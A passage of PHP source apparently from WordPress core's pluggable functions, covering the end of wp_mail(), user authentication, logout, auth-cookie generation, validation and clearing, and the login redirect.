								// Text before the bracketed email is the "From" name.
								if ( $bracket_pos > 0 ) {
									$from_name = substr( $content, 0, $bracket_pos );
									$from_name = str_replace( '"', '', $from_name );
									$from_name = trim( $from_name );
								}

								$from_email = substr( $content, $bracket_pos + 1 );
								$from_email = str_replace( '>', '', $from_email );
								$from_email = trim( $from_email );

								// Avoid setting an empty $from_email.
							} elseif ( '' !== trim( $content ) ) {
								$from_email = trim( $content );
							}
							break;
						case 'content-type':
							if ( str_contains( $content, ';' ) ) {
								list( $type, $charset_content ) = explode( ';', $content );
								$content_type                   = trim( $type );
								if ( false !== stripos( $charset_content, 'charset=' ) ) {
									$charset = trim( str_replace( array( 'charset=', '"' ), '', $charset_content ) );
								} elseif ( false !== stripos( $charset_content, 'boundary=' ) ) {
									$boundary = trim( str_replace( array( 'BOUNDARY=', 'boundary=', '"' ), '', $charset_content ) );
									$charset  = '';
								}

								// Avoid setting an empty $content_type.
							} elseif ( '' !== trim( $content ) ) {
								$content_type = trim( $content );
							}
							break;
						case 'cc':
							$cc = array_merge( (array) $cc, explode( ',', $content ) );
							break;
						case 'bcc':
							$bcc = array_merge( (array) $bcc, explode( ',', $content ) );
							break;
						case 'reply-to':
							$reply_to = array_merge( (array) $reply_to, explode( ',', $content ) );
							break;
						default:
							// Add it to our grand headers array.
							$headers[ trim( $name ) ] = trim( $content );
							break;
					}
				}
			}
		}

		// Empty out the values that may be set.
		$phpmailer->clearAllRecipients();
		$phpmailer->clearAttachments();
		$phpmailer->clearCustomHeaders();
		$phpmailer->clearReplyTos();
		$phpmailer->Body    = '';
		$phpmailer->AltBody = '';

		// Set "From" name and email.

		// If we don't have a name from the input headers.
		if ( ! isset( $from_name ) ) {
			$from_name = 'WordPress';
		}

		/*
		 * If we don't have an email from the input headers, default to wordpress@$sitename
		 * Some hosts will block outgoing mail from this address if it doesn't exist,
		 * but there's no easy alternative. Defaulting to admin_email might appear to be
		 * another option, but some hosts may refuse to relay mail from an unknown domain.
		 * See https://core.trac.wordpress.org/ticket/5007.
		 */
		if ( ! isset( $from_email ) ) {
			// Get the site domain and get rid of www.
			$sitename   = wp_parse_url( network_home_url(), PHP_URL_HOST );
			$from_email = 'wordpress@';

			if ( null !== $sitename ) {
				if ( str_starts_with( $sitename, 'www.' ) ) {
					$sitename = substr( $sitename, 4 );
				}

				$from_email .= $sitename;
			}
		}

		/**
		 * Filters the email address to send from.
		 *
		 * @since 2.2.0
		 *
		 * @param string $from_email Email address to send from.
		 */
		$from_email = apply_filters( 'wp_mail_from', $from_email );

		/**
		 * Filters the name to associate with the "from" email address.
		 *
		 * @since 2.3.0
		 *
		 * @param string $from_name Name associated with the "from" email address.
		 */
		$from_name = apply_filters( 'wp_mail_from_name', $from_name );

		try {
			$phpmailer->setFrom( $from_email, $from_name, false );
		} catch ( PHPMailer\PHPMailer\Exception $e ) {
			$mail_error_data                             = compact( 'to', 'subject', 'message', 'headers', 'attachments' );
			$mail_error_data['phpmailer_exception_code'] = $e->getCode();

			/** This filter is documented in wp-includes/pluggable.php */
			do_action( 'wp_mail_failed', new WP_Error( 'wp_mail_failed', $e->getMessage(), $mail_error_data ) );

			return false;
		}

		// Set mail's subject and body.
		$phpmailer->Subject = $subject;
		$phpmailer->Body    = $message;

		// Set destination addresses, using appropriate methods for handling addresses.
		$address_headers = compact( 'to', 'cc', 'bcc', 'reply_to' );

		foreach ( $address_headers as $address_header => $addresses ) {
			if ( empty( $addresses ) ) {
				continue;
			}

			foreach ( (array) $addresses as $address ) {
				try {
					// Break $recipient into name and address parts if in the format "Foo <bar@baz.com>".
					$recipient_name = '';

					if ( preg_match( '/(.*)<(.+)>/', $address, $matches ) ) {
						if ( count( $matches ) === 3 ) {
							$recipient_name = $matches[1];
							$address        = $matches[2];
						}
					}

					switch ( $address_header ) {
						case 'to':
							$phpmailer->addAddress( $address, $recipient_name );
							break;
						case 'cc':
							$phpmailer->addCc( $address, $recipient_name );
							break;
						case 'bcc':
							$phpmailer->addBcc( $address, $recipient_name );
							break;
						case 'reply_to':
							$phpmailer->addReplyTo( $address, $recipient_name );
							break;
					}
				} catch ( PHPMailer\PHPMailer\Exception $e ) {
					continue;
				}
			}
		}

		// Set to use PHP's mail().
		$phpmailer->isMail();

		// Set Content-Type and charset.

		// If we don't have a Content-Type from the input headers.
		if ( ! isset( $content_type ) ) {
			$content_type = 'text/plain';
		}

		/**
		 * Filters the wp_mail() content type.
		 *
		 * @since 2.3.0
		 *
		 * @param string $content_type Default wp_mail() content type.
		 */
		$content_type = apply_filters( 'wp_mail_content_type', $content_type );

		$phpmailer->ContentType = $content_type;

		// Set whether it's plaintext, depending on $content_type.
		if ( 'text/html' === $content_type ) {
			$phpmailer->isHTML( true );
		}

		// If we don't have a charset from the input headers.
		if ( ! isset( $charset ) ) {
			$charset = get_bloginfo( 'charset' );
		}

		/**
		 * Filters the default wp_mail() charset.
		 *
		 * @since 2.3.0
		 *
		 * @param string $charset Default email charset.
		 */
		$phpmailer->CharSet = apply_filters( 'wp_mail_charset', $charset );

		// Set custom headers.
		if ( ! empty( $headers ) ) {
			foreach ( (array) $headers as $name => $content ) {
				// Only add custom headers not added automatically by PHPMailer.
				if ( ! in_array( $name, array( 'MIME-Version', 'X-Mailer' ), true ) ) {
					try {
						$phpmailer->addCustomHeader( sprintf( '%1$s: %2$s', $name, $content ) );
					} catch ( PHPMailer\PHPMailer\Exception $e ) {
						continue;
					}
				}
			}

			if ( false !== stripos( $content_type, 'multipart' ) && ! empty( $boundary ) ) {
				$phpmailer->addCustomHeader( sprintf( 'Content-Type: %s; boundary="%s"', $content_type, $boundary ) );
			}
		}

		if ( ! empty( $attachments ) ) {
			foreach ( $attachments as $filename => $attachment ) {
				$filename = is_string( $filename ) ? $filename : '';

				try {
					$phpmailer->addAttachment( $attachment, $filename );
				} catch ( PHPMailer\PHPMailer\Exception $e ) {
					continue;
				}
			}
		}

		/**
		 * Fires after PHPMailer is initialized.
		 *
		 * @since 2.2.0
		 *
		 * @param PHPMailer $phpmailer The PHPMailer instance (passed by reference).
		 */
		do_action_ref_array( 'phpmailer_init', array( &$phpmailer ) );

		$mail_data = compact( 'to', 'subject', 'message', 'headers', 'attachments' );

		// Send!
		try {
			$send = $phpmailer->send();

			/**
			 * Fires after PHPMailer has successfully sent an email.
			 *
			 * The firing of this action does not necessarily mean that the recipient(s) received the
			 * email successfully. It only means that the `send` method above was able to
			 * process the request without any errors.
			 *
			 * @since 5.9.0
			 *
			 * @param array $mail_data {
			 *     An array containing the email recipient(s), subject, message, headers, and attachments.
			 *
			 *     @type string[] $to          Email addresses to send message.
			 *     @type string   $subject     Email subject.
			 *     @type string   $message     Message contents.
			 *     @type string[] $headers     Additional headers.
			 *     @type string[] $attachments Paths to files to attach.
			 * }
			 */
			do_action( 'wp_mail_succeeded', $mail_data );

			return $send;
		} catch ( PHPMailer\PHPMailer\Exception $e ) {
			$mail_data['phpmailer_exception_code'] = $e->getCode();

			/**
			 * Fires after a PHPMailer\PHPMailer\Exception is caught.
			 *
			 * @since 4.4.0
			 *
			 * @param WP_Error $error A WP_Error object with the PHPMailer\PHPMailer\Exception message, and an array
			 *                        containing the mail recipient, subject, message, headers, and attachments.
			 */
			do_action( 'wp_mail_failed', new WP_Error( 'wp_mail_failed', $e->getMessage(), $mail_data ) );

			return false;
		}
	}
endif;

if ( ! function_exists( 'wp_authenticate' ) ) :
	/**
	 * Authenticates a user, confirming the login credentials are valid.
	 *
	 * @since 2.5.0
	 * @since 4.5.0 `$username` now accepts an email address.
	 *
	 * @param string $username User's username or email address.
	 * @param string $password User's password.
	 * @return WP_User|WP_Error WP_User object if the credentials are valid,
	 *                          otherwise WP_Error.
	 */
	function wp_authenticate( $username, $password ) {
		$username = sanitize_user( $username );
		$password = trim( $password );

		/**
		 * Filters whether a set of user login credentials are valid.
		 *
		 * A WP_User object is returned if the credentials authenticate a user.
		 * WP_Error or null otherwise.
		 *
		 * @since 2.8.0
		 * @since 4.5.0 `$username` now accepts an email address.
		 *
		 * @param null|WP_User|WP_Error $user     WP_User if the user is authenticated.
		 *                                        WP_Error or null otherwise.
		 * @param string                $username Username or email address.
		 * @param string                $password User password.
		 */
		$user = apply_filters( 'authenticate', null, $username, $password );

		if ( null == $user ) {
			/*
			 * TODO: What should the error message be? (Or would these even happen?)
			 * Only needed if all authentication handlers fail to return anything.
			 */
			$user = new WP_Error( 'authentication_failed', __( '<strong>Error:</strong> Invalid username, email address or incorrect password.' ) );
		}

		$ignore_codes = array( 'empty_username', 'empty_password' );

		if ( is_wp_error( $user ) && ! in_array( $user->get_error_code(), $ignore_codes, true ) ) {
			$error = $user;

			/**
			 * Fires after a user login has failed.
			 *
			 * @since 2.5.0
			 * @since 4.5.0 The value of `$username` can now be an email address.
			 * @since 5.4.0 The `$error` parameter was added.
			 *
			 * @param string   $username Username or email address.
			 * @param WP_Error $error    A WP_Error object with the authentication failure details.
			 */
			do_action( 'wp_login_failed', $username, $error );
		}

		return $user;
	}
endif;

if ( ! function_exists( 'wp_logout' ) ) :
	/**
	 * Logs the current user out.
	 *
	 * @since 2.5.0
	 */
	function wp_logout() {
		$user_id = get_current_user_id();

		wp_destroy_current_session();
		wp_clear_auth_cookie();
		wp_set_current_user( 0 );

		/**
		 * Fires after a user is logged out.
		 *
		 * @since 1.5.0
		 * @since 5.5.0 Added the `$user_id` parameter.
		 *
		 * @param int $user_id ID of the user that was logged out.
		 */
		do_action( 'wp_logout', $user_id );
	}
endif;

if ( ! function_exists( 'wp_validate_auth_cookie' ) ) :
	/**
	 * Validates authentication cookie.
	 *
	 * The checks include making sure that the authentication cookie is set and
	 * pulling in the contents (if $cookie is not used).
	 *
	 * Makes sure the cookie is not expired. Verifies the hash in cookie is what is
	 * should be and compares the two.
	 *
	 * @since 2.5.0
	 *
	 * @global int $login_grace_period
	 *
	 * @param string $cookie Optional. If used, will validate contents instead of cookie's.
	 * @param string $scheme Optional. The cookie scheme to use: 'auth', 'secure_auth', or 'logged_in'.
	 * @return int|false User ID if valid cookie, false if invalid.
	 */
	function wp_validate_auth_cookie( $cookie = '', $scheme = '' ) {
		$cookie_elements = wp_parse_auth_cookie( $cookie, $scheme );
		if ( ! $cookie_elements ) {
			/**
			 * Fires if an authentication cookie is malformed.
			 *
			 * @since 2.7.0
			 *
			 * @param string $cookie Malformed auth cookie.
			 * @param string $scheme Authentication scheme. Values include 'auth', 'secure_auth',
			 *                       or 'logged_in'.
			 */
			do_action( 'auth_cookie_malformed', $cookie, $scheme );
			return false;
		}

		$scheme     = $cookie_elements['scheme'];
		$username   = $cookie_elements['username'];
		$hmac       = $cookie_elements['hmac'];
		$token      = $cookie_elements['token'];
		$expired    = $cookie_elements['expiration'];
		$expiration = $cookie_elements['expiration'];

		// Allow a grace period for POST and Ajax requests.
		if ( wp_doing_ajax() || 'POST' === $_SERVER['REQUEST_METHOD'] ) {
			$expired += HOUR_IN_SECONDS;
		}

		// Quick check to see if an honest cookie has expired.
		if ( $expired < time() ) {
			/**
			 * Fires once an authentication cookie has expired.
			 *
			 * @since 2.7.0
			 *
			 * @param string[] $cookie_elements {
			 *     Authentication cookie components. None of the components should be assumed
			 *     to be valid as they come directly from a client-provided cookie value.
			 *
			 *     @type string $username   User's username.
			 *     @type string $expiration The time the cookie expires as a UNIX timestamp.
			 *     @type string $token      User's session token used.
			 *     @type string $hmac       The security hash for the cookie.
			 *     @type string $scheme     The cookie scheme to use.
			 * }
			 */
			do_action( 'auth_cookie_expired', $cookie_elements );
			return false;
		}

		$user = get_user_by( 'login', $username );
		if ( ! $user ) {
			/**
			 * Fires if a bad username is entered in the user authentication process.
			 *
			 * @since 2.7.0
			 *
			 * @param string[] $cookie_elements {
			 *     Authentication cookie components. None of the components should be assumed
			 *     to be valid as they come directly from a client-provided cookie value.
			 *
			 *     @type string $username   User's username.
			 *     @type string $expiration The time the cookie expires as a UNIX timestamp.
			 *     @type string $token      User's session token used.
			 *     @type string $hmac       The security hash for the cookie.
			 *     @type string $scheme     The cookie scheme to use.
			 * }
			 */
			do_action( 'auth_cookie_bad_username', $cookie_elements );
			return false;
		}

		$pass_frag = substr( $user->user_pass, 8, 4 );

		$key = wp_hash( $username . '|' . $pass_frag . '|' . $expiration . '|' . $token, $scheme );

		// If ext/hash is not present, compat.php's hash_hmac() does not support sha256.
		$algo = function_exists( 'hash' ) ? 'sha256' : 'sha1';
		$hash = hash_hmac( $algo, $username . '|' . $expiration . '|' . $token, $key );

		if ( ! hash_equals( $hash, $hmac ) ) {
			/**
			 * Fires if a bad authentication cookie hash is encountered.
			 *
			 * @since 2.7.0
			 *
			 * @param string[] $cookie_elements {
			 *     Authentication cookie components. None of the components should be assumed
			 *     to be valid as they come directly from a client-provided cookie value.
			 *
			 *     @type string $username   User's username.
			 *     @type string $expiration The time the cookie expires as a UNIX timestamp.
			 *     @type string $token      User's session token used.
			 *     @type string $hmac       The security hash for the cookie.
			 *     @type string $scheme     The cookie scheme to use.
			 * }
			 */
			do_action( 'auth_cookie_bad_hash', $cookie_elements );
			return false;
		}

		$manager = WP_Session_Tokens::get_instance( $user->ID );
		if ( ! $manager->verify( $token ) ) {
			/**
			 * Fires if a bad session token is encountered.
			 *
			 * @since 4.0.0
			 *
			 * @param string[] $cookie_elements {
			 *     Authentication cookie components. None of the components should be assumed
			 *     to be valid as they come directly from a client-provided cookie value.
			 *
			 *     @type string $username   User's username.
			 *     @type string $expiration The time the cookie expires as a UNIX timestamp.
			 *     @type string $token      User's session token used.
			 *     @type string $hmac       The security hash for the cookie.
			 *     @type string $scheme     The cookie scheme to use.
			 * }
			 */
			do_action( 'auth_cookie_bad_session_token', $cookie_elements );
			return false;
		}

		// Ajax/POST grace period set above.
		if ( $expiration < time() ) {
			$GLOBALS['login_grace_period'] = 1;
		}

		/**
		 * Fires once an authentication cookie has been validated.
		 *
		 * @since 2.7.0
		 *
		 * @param string[] $cookie_elements {
		 *     Authentication cookie components.
		 *
		 *     @type string $username   User's username.
		 *     @type string $expiration The time the cookie expires as a UNIX timestamp.
		 *     @type string $token      User's session token used.
		 *     @type string $hmac       The security hash for the cookie.
		 *     @type string $scheme     The cookie scheme to use.
		 * }
		 * @param WP_User  $user            User object.
		 */
		do_action( 'auth_cookie_valid', $cookie_elements, $user );

		return $user->ID;
	}
endif;

if ( ! function_exists( 'wp_generate_auth_cookie' ) ) :
	/**
	 * Generates authentication cookie contents.
	 *
	 * @since 2.5.0
	 * @since 4.0.0 The `$token` parameter was added.
	 *
	 * @param int    $user_id    User ID.
	 * @param int    $expiration The time the cookie expires as a UNIX timestamp.
	 * @param string $scheme     Optional. The cookie scheme to use: 'auth', 'secure_auth', or 'logged_in'.
	 *                           Default 'auth'.
	 * @param string $token      User's session token to use for this cookie.
	 * @return string Authentication cookie contents. Empty string if user does not exist.
	 */
	function wp_generate_auth_cookie( $user_id, $expiration, $scheme = 'auth', $token = '' ) {
		$user = get_userdata( $user_id );
		if ( ! $user ) {
			return '';
		}

		if ( ! $token ) {
			$manager = WP_Session_Tokens::get_instance( $user_id );
			$token   = $manager->create( $expiration );
		}

		$pass_frag = substr( $user->user_pass, 8, 4 );

		$key = wp_hash( $user->user_login . '|' . $pass_frag . '|' . $expiration . '|' . $token, $scheme );

		// If ext/hash is not present, compat.php's hash_hmac() does not support sha256.
		$algo = function_exists( 'hash' ) ? 'sha256' : 'sha1';
		$hash = hash_hmac( $algo, $user->user_login . '|' . $expiration . '|' . $token, $key );

		$cookie = $user->user_login . '|' . $expiration . '|' . $token . '|' . $hash;

		/**
		 * Filters the authentication cookie.
		 *
		 * @since 2.5.0
		 * @since 4.0.0 The `$token` parameter was added.
		 *
		 * @param string $cookie     Authentication cookie.
		 * @param int    $user_id    User ID.
		 * @param int    $expiration The time the cookie expires as a UNIX timestamp.
		 * @param string $scheme     Cookie scheme used. Accepts 'auth', 'secure_auth', or 'logged_in'.
		 * @param string $token      User's session token used.
		 */
		return apply_filters( 'auth_cookie', $cookie, $user_id, $expiration, $scheme, $token );
	}
endif;

if ( ! function_exists( 'wp_parse_auth_cookie' ) ) :
	/**
	 * Parses a cookie into its components.
	 *
	 * @since 2.7.0
	 * @since 4.0.0 The `$token` element was added to the return value.
	 *
	 * @param string $cookie Authentication cookie.
	 * @param string $scheme Optional. The cookie scheme to use: 'auth', 'secure_auth', or 'logged_in'.
	 * @return string[]|false {
	 *     Authentication cookie components. None of the components should be assumed
	 *     to be valid as they come directly from a client-provided cookie value. If
	 *     the cookie value is malformed, false is returned.
	 *
	 *     @type string $username   User's username.
	 *     @type string $expiration The time the cookie expires as a UNIX timestamp.
	 *     @type string $token      User's session token used.
	 *     @type string $hmac       The security hash for the cookie.
	 *     @type string $scheme     The cookie scheme to use.
	 * }
	 */
	function wp_parse_auth_cookie( $cookie = '', $scheme = '' ) {
		if ( empty( $cookie ) ) {
			switch ( $scheme ) {
				case 'auth':
					$cookie_name = AUTH_COOKIE;
					break;
				case 'secure_auth':
					$cookie_name = SECURE_AUTH_COOKIE;
					break;
				case 'logged_in':
					$cookie_name = LOGGED_IN_COOKIE;
					break;
				default:
					if ( is_ssl() ) {
						$cookie_name = SECURE_AUTH_COOKIE;
						$scheme      = 'secure_auth';
					} else {
						$cookie_name = AUTH_COOKIE;
						$scheme      = 'auth';
					}
			}

			if ( empty( $_COOKIE[ $cookie_name ] ) ) {
				return false;
			}
			$cookie = $_COOKIE[ $cookie_name ];
		}

		$cookie_elements = explode( '|', $cookie );
		if ( count( $cookie_elements ) !== 4 ) {
			return false;
		}

		list( $username, $expiration, $token, $hmac ) = $cookie_elements;

		return compact( 'username', 'expiration', 'token', 'hmac', 'scheme' );
	}
endif;

if ( ! function_exists( 'wp_set_auth_cookie' ) ) :
	/**
	 * Sets the authentication cookies based on user ID.
	 *
	 * The $remember parameter increases the time that the cookie will be kept. The
	 * default the cookie is kept without remembering is two days. When $remember is
	 * set, the cookies will be kept for 14 days or two weeks.
	 *
	 * @since 2.5.0
	 * @since 4.3.0 Added the `$token` parameter.
	 *
	 * @param int         $user_id  User ID.
	 * @param bool        $remember Whether to remember the user.
	 * @param bool|string $secure   Whether the auth cookie should only be sent over HTTPS. Default is an empty
	 *                              string which means the value of `is_ssl()` will be used.
	 * @param string      $token    Optional. User's session token to use for this cookie.
	 */
	function wp_set_auth_cookie( $user_id, $remember = false, $secure = '', $token = '' ) {
		if ( $remember ) {
			/**
			 * Filters the duration of the authentication cookie expiration period.
			 *
			 * @since 2.8.0
			 *
			 * @param int  $length   Duration of the expiration period in seconds.
			 * @param int  $user_id  User ID.
			 * @param bool $remember Whether to remember the user login. Default false.
			 */
			$expiration = time() + apply_filters( 'auth_cookie_expiration', 14 * DAY_IN_SECONDS, $user_id, $remember );

			/*
			 * Ensure the browser will continue to send the cookie after the expiration time is reached.
			 * Needed for the login grace period in wp_validate_auth_cookie().
			 */
			$expire = $expiration + ( 12 * HOUR_IN_SECONDS );
		} else {
			/** This filter is documented in wp-includes/pluggable.php */
			$expiration = time() + apply_filters( 'auth_cookie_expiration', 2 * DAY_IN_SECONDS, $user_id, $remember );
			$expire     = 0;
		}

		if ( '' === $secure ) {
			$secure = is_ssl();
		}

		// Front-end cookie is secure when the auth cookie is secure and the site's home URL uses HTTPS.
		$secure_logged_in_cookie = $secure && 'https' === parse_url( get_option( 'home' ), PHP_URL_SCHEME );

		/**
		 * Filters whether the auth cookie should only be sent over HTTPS.
		 *
		 * @since 3.1.0
		 *
		 * @param bool $secure  Whether the cookie should only be sent over HTTPS.
		 * @param int  $user_id User ID.
		 */
		$secure = apply_filters( 'secure_auth_cookie', $secure, $user_id );

		/**
		 * Filters whether the logged in cookie should only be sent over HTTPS.
		 *
		 * @since 3.1.0
		 *
		 * @param bool $secure_logged_in_cookie Whether the logged in cookie should only be sent over HTTPS.
		 * @param int  $user_id                 User ID.
		 * @param bool $secure                  Whether the auth cookie should only be sent over HTTPS.
		 */
		$secure_logged_in_cookie = apply_filters( 'secure_logged_in_cookie', $secure_logged_in_cookie, $user_id, $secure );

		if ( $secure ) {
			$auth_cookie_name = SECURE_AUTH_COOKIE;
			$scheme           = 'secure_auth';
		} else {
			$auth_cookie_name = AUTH_COOKIE;
			$scheme           = 'auth';
		}

		if ( '' === $token ) {
			$manager = WP_Session_Tokens::get_instance( $user_id );
			$token   = $manager->create( $expiration );
		}

		$auth_cookie      = wp_generate_auth_cookie( $user_id, $expiration, $scheme, $token );
		$logged_in_cookie = wp_generate_auth_cookie( $user_id, $expiration, 'logged_in', $token );

		/**
		 * Fires immediately before the authentication cookie is set.
		 *
		 * @since 2.5.0
		 * @since 4.9.0 The `$token` parameter was added.
		 *
		 * @param string $auth_cookie Authentication cookie value.
		 * @param int    $expire      The time the login grace period expires as a UNIX timestamp.
		 *                            Default is 12 hours past the cookie's expiration time.
		 * @param int    $expiration  The time when the authentication cookie expires as a UNIX timestamp.
		 *                            Default is 14 days from now.
		 * @param int    $user_id     User ID.
		 * @param string $scheme      Authentication scheme. Values include 'auth' or 'secure_auth'.
		 * @param string $token       User's session token to use for this cookie.
		 */
		do_action( 'set_auth_cookie', $auth_cookie, $expire, $expiration, $user_id, $scheme, $token );

		/**
		 * Fires immediately before the logged-in authentication cookie is set.
		 *
		 * @since 2.6.0
		 * @since 4.9.0 The `$token` parameter was added.
		 *
		 * @param string $logged_in_cookie The logged-in cookie value.
		 * @param int    $expire           The time the login grace period expires as a UNIX timestamp.
		 *                                 Default is 12 hours past the cookie's expiration time.
		 * @param int    $expiration       The time when the logged-in authentication cookie expires as a UNIX timestamp.
		 *                                 Default is 14 days from now.
		 * @param int    $user_id          User ID.
		 * @param string $scheme           Authentication scheme. Default 'logged_in'.
		 * @param string $token            User's session token to use for this cookie.
		 */
		do_action( 'set_logged_in_cookie', $logged_in_cookie, $expire, $expiration, $user_id, 'logged_in', $token );

		/**
		 * Allows preventing auth cookies from actually being sent to the client.
		 *
		 * @since 4.7.4
		 * @since 6.2.0 The `$expire`, `$expiration`, `$user_id`, `$scheme`, and `$token` parameters were added.
		 *
		 * @param bool   $send       Whether to send auth cookies to the client. Default true.
		 * @param int    $expire     The time the login grace period expires as a UNIX timestamp.
		 *                           Default is 12 hours past the cookie's expiration time. Zero when clearing cookies.
		 * @param int    $expiration The time when the logged-in authentication cookie expires as a UNIX timestamp.
		 *                           Default is 14 days from now. Zero when clearing cookies.
		 * @param int    $user_id    User ID. Zero when clearing cookies.
		 * @param string $scheme     Authentication scheme. Values include 'auth' or 'secure_auth'.
		 *                           Empty string when clearing cookies.
		 * @param string $token      User's session token to use for this cookie. Empty string when clearing cookies.
		 */
		if ( ! apply_filters( 'send_auth_cookies', true, $expire, $expiration, $user_id, $scheme, $token ) ) {
			return;
		}

		setcookie( $auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN, $secure, true );
		setcookie( $auth_cookie_name, $auth_cookie, $expire, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, $secure, true );
		setcookie( LOGGED_IN_COOKIE, $logged_in_cookie, $expire, COOKIEPATH, COOKIE_DOMAIN, $secure_logged_in_cookie, true );
		if ( COOKIEPATH != SITECOOKIEPATH ) {
			setcookie( LOGGED_IN_COOKIE, $logged_in_cookie, $expire, SITECOOKIEPATH, COOKIE_DOMAIN, $secure_logged_in_cookie, true );
		}
	}
endif;

if ( ! function_exists( 'wp_clear_auth_cookie' ) ) :
	/**
	 * Removes all of the cookies associated with authentication.
	 *
	 * @since 2.5.0
	 */
	function wp_clear_auth_cookie() {
		/**
		 * Fires just before the authentication cookies are cleared.
		 *
		 * @since 2.7.0
		 */
		do_action( 'clear_auth_cookie' );

		/** This filter is documented in wp-includes/pluggable.php */
		if ( ! apply_filters( 'send_auth_cookies', true, 0, 0, 0, '', '' ) ) {
			return;
		}

		// Auth cookies.
		setcookie( AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN );
		setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN );
		setcookie( AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN );
		setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN );
		setcookie( LOGGED_IN_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN );
		setcookie( LOGGED_IN_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );

		// Settings cookies.
		setcookie( 'wp-settings-' . get_current_user_id(), ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH );
		setcookie( 'wp-settings-time-' . get_current_user_id(), ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH );

		// Old cookies.
		setcookie( AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN );
		setcookie( AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
		setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN );
		setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );

		// Even older cookies.
		setcookie( USER_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN );
		setcookie( PASS_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN );
		setcookie( USER_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
		setcookie( PASS_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );

		// Post password cookie.
		setcookie( 'wp-postpass_' . COOKIEHASH, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN );
	}
endif;

if ( ! function_exists( 'is_user_logged_in' ) ) :
	/**
	 * Determines whether the current visitor is a logged in user.
	 *
	 * For more information on this and similar theme functions, check out
	 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
	 * Conditional Tags} article in the Theme Developer Handbook.
	 *
	 * @since 2.0.0
	 *
	 * @return bool True if user is logged in, false if not logged in.
	 */
	function is_user_logged_in() {
		$user = wp_get_current_user();

		return $user->exists();
	}
endif;

if ( ! function_exists( 'auth_redirect' ) ) :
	/**
	 * Checks if a user is logged in, if not it redirects them to the login page.
	 *
	 * When this code is called from a page, it checks to see if the user viewing the page is logged in.
	 * If the user is not logged in, they are redirected to the login page. The user is redirected
	 * in such a way that, upon logging in, they will be sent directly to the page they were originally
	 * trying to access.
	 *
	 * @since 1.5.0
	 */
	function auth_redirect() {
		$secure = ( is_ssl() || force_ssl_admin() );

		/**
		 * Filters whether to use a secure authentication redirect.
		 *
		 * @since 3.1.0
		 *
		 * @param bool $secure Whether to use a secure authentication redirect. Default false.
		 */
		$secure = apply_filters( 'secure_auth_redirect', $secure );

		// If https is required and request is http, redirect.
		if ( $secure && ! is_ssl() && str_contains( $_SERVER['REQUEST_URI'], 'wp-admin' ) ) {
			if ( str_starts_with( $_SERVER['REQUEST_URI'], 'http' ) ) {
				wp_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) );
				exit;
			} else {
				wp_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
				exit;
			}
		}

		/**
		 * Filters the authentication redirect scheme.
		 *
		 * @since 2.9.0
		 *
		 * @param string $scheme Authentication redirect scheme. Default empty.
		 */
		$scheme = apply_filters( 'auth_redirect_scheme', '' );

		$user_id = wp_validate_auth_cookie( '', $scheme );
		if ( $user_id ) {
			/**
			 * Fires before the authentication redirect.
			 *
			 * @since 2.8.0
			 *
			 * @param int $user_id User ID.
			 */
			do_action( 'auth_redirect', $user_id );

			// If the user wants ssl but the session is not ssl, redirect.
			if ( ! $secure && get_user_option( 'use_ssl', $user_id ) && str_contains( $_SERVER['REQUEST_URI'], 'wp-admin' ) ) {
				if ( str_starts_with( $_SERVER['REQUEST_URI'], 'http' ) ) {
					wp_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) );
					exit;
				} else {
					wp_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
					exit;
				}
			}

			return; // The cookie is good, so we're done.
		}

		// The cookie is no good, so force login.
		nocache_headers();

		if ( str_contains( $_SERVER['REQUEST_URI'], '/options.php' ) && wp_get_referer() ) {
			$redirect = wp_get_referer();
		} else {
			$redirect = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
		}

		$login_url = wp_login_url( $redirect, true );

		wp_redirect( $login_url );
		exit;
	}
endif;

if ( ! function_exists( 'check_admin_referer' ) ) :
	/**
	 * Ensures intent by verifying that a user was referred from another admin page with the correct security nonce.
	 *
	 * This function ensures the user intends to perform a given action, which helps protect against clickjacking style
	 * attacks. It verifies intent, not authorization, therefore it does not verify the user's capabilities. This should
	 * be performed with `current_user_can()` or similar.
	 *
	 * If the nonce value is invalid, the function will exit with an "Are You Sure?" style message.
	 *
	 * @since 1.2.0
	 * @since 2.5.0 The `$query_arg` parameter was added.
	 *
	 * @param int|string $action    The nonce action.
	 * @param string     $query_arg Optional. Key to check for nonce in `$_REQUEST`. Default '_wpnonce'.
	 * @return int|false 1 if the nonce is valid and generated between 0-12 hours ago,
